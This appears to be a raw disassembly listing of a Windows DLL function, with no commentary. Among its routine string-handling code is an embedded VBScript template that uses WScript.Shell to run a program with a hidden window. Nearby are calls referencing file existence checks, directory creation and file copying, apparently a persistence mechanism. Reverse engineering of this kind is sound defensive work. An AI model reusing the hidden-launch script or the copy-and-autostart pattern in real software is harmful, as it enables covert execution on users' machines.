mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x2d0]
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x2d0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x170]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x310]
call fcn.180054610
nop
lea rcx, [rsp + 0xc0]
call fcn.180006480
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
nop
lea rcx, [rsp + 0xf0]
call fcn.180006480
lea rax, str.Set_WshShell__CreateObject__WScript.Shell___r_nWshShell.Run_Chr_34_______Chr_34___0_r_nSet_WshShell__Nothing
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], Ordinal_113
lea r8, [rsp + 0x330]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x2f0]
call fcn.1800290b0
nop
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x2b0]
call fcn.180005370
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x570]
call fcn.1800b9d20
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x570]
call fcn.180028350
nop
cmp qword [rsp + 0x5f8], 0
je 0x180050e8b
lea rcx, [rsp + 0x2b0]
call fcn.180006640
mov r8, qword [rsp + 0x2c0]
mov rdx, rax
lea rcx, [rsp + 0x570]
call fcn.1800283a0
lea rcx, [rsp + 0x570]
call fcn.1800282b0
lea rdx, [rsp + 0x1b0]
call fcn.180054360
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x290]
call fcn.180005370
nop
lea rcx, [rsp + 0x460]
call fcn.180027610
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x460]
call fcn.180028350
nop
cmp qword [rsp + 0x4e8], 0
je 0x180050f01
lea rcx, [rsp + 0x290]
call fcn.180006640
mov r8, qword [rsp + 0x2a0]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.1800283a0
lea rcx, [rsp + 0x460]
call fcn.1800282b0
lea r8, [rsp + 0x230]
mov rdx, r14
mov rcx, r15
call fcn.180053860
lea rdx, [r15 + 0x80]
lea rcx, [rsp + 0x270]
call fcn.180005370
nop
lea rcx, [rsp + 0x350]
call fcn.180027610
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x350]
call fcn.180028350
nop
cmp qword [rsp + 0x3d8], 0
je 0x180050f8a
lea rcx, [rsp + 0x270]
call fcn.180006640
mov r8, qword [rsp + 0x280]
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.1800283a0
lea rcx, [rsp + 0x350]
call fcn.1800282b0
nop
lea rcx, [rsp + 0x350]
call fcn.180027570
nop
lea rcx, [rsp + 0x270]
call fcn.180006670
nop
lea rcx, [rsp + 0x460]
call fcn.180027570
nop
lea rcx, [rsp + 0x290]
call fcn.180006670
nop
lea rcx, [rsp + 0x570]
call fcn.180027570
nop
lea rcx, [rsp + 0x2b0]
call fcn.180006670
nop
lea rcx, [rsp + 0x2f0]
call fcn.180006480
nop
lea rcx, [rsp + 0x310]
call fcn.180006480
nop
lea rcx, [rsp + 0x170]
call fcn.180006480
nop
lea rcx, [rsp + 0x330]
call fcn.180006480
nop
lea rcx, [rsp + 0x2d0]
call fcn.180006480
nop
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x18005106c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051067
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051471
call fcn.18008a530
movdqu xmmword [rsp + 0x200], xmm6
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x228]
cmp rdx, 7
jbe 0x1800510c6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800510c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051477
call fcn.18008a530
nop
jmp 0x1800510d2
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x18005111a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051115
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005147d
call fcn.18008a530
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x18005117e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051179
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051483
call fcn.18008a530
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x1800511d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800511d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051489
call fcn.18008a530
movdqu xmmword [rsp + 0x240], xmm6
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x180051230
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005122b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005148f
call fcn.18008a530
mov qword [rsp + 0x1c0], rbx
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180051294
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005128f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051495
call fcn.18008a530
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x168]
cmp rdx, 7
jbe 0x1800512f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800512f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005149b
call fcn.18008a530
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], 7
mov word [rsp + 0x150], bx
lea rcx, [rsp + 0x130]
call fcn.180006480
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.18008a510
mov rbx, qword [rsp + 0x6e0]
movaps xmm6, xmmword [rsp + 0x690]
add rsp, 0x6a0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024030
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
int3
call fcn.1800997f4
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024030
nop
call fcn.1800997f4
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024030
nop
shr rdx, 0x20
lea r8, [rsp + 0x110]
lea rcx, str.create_directory
call fcn.18002bb10
nop
call fcn.1800997f4
int3
call fcn.1800997f4
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024030
nop
shr rdx, 0x20
lea r9, [rsp + 0xa0]
lea r8, [rsp + 0x110]
lea rcx, str.copy_file
call fcn.18004e1c0
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
int3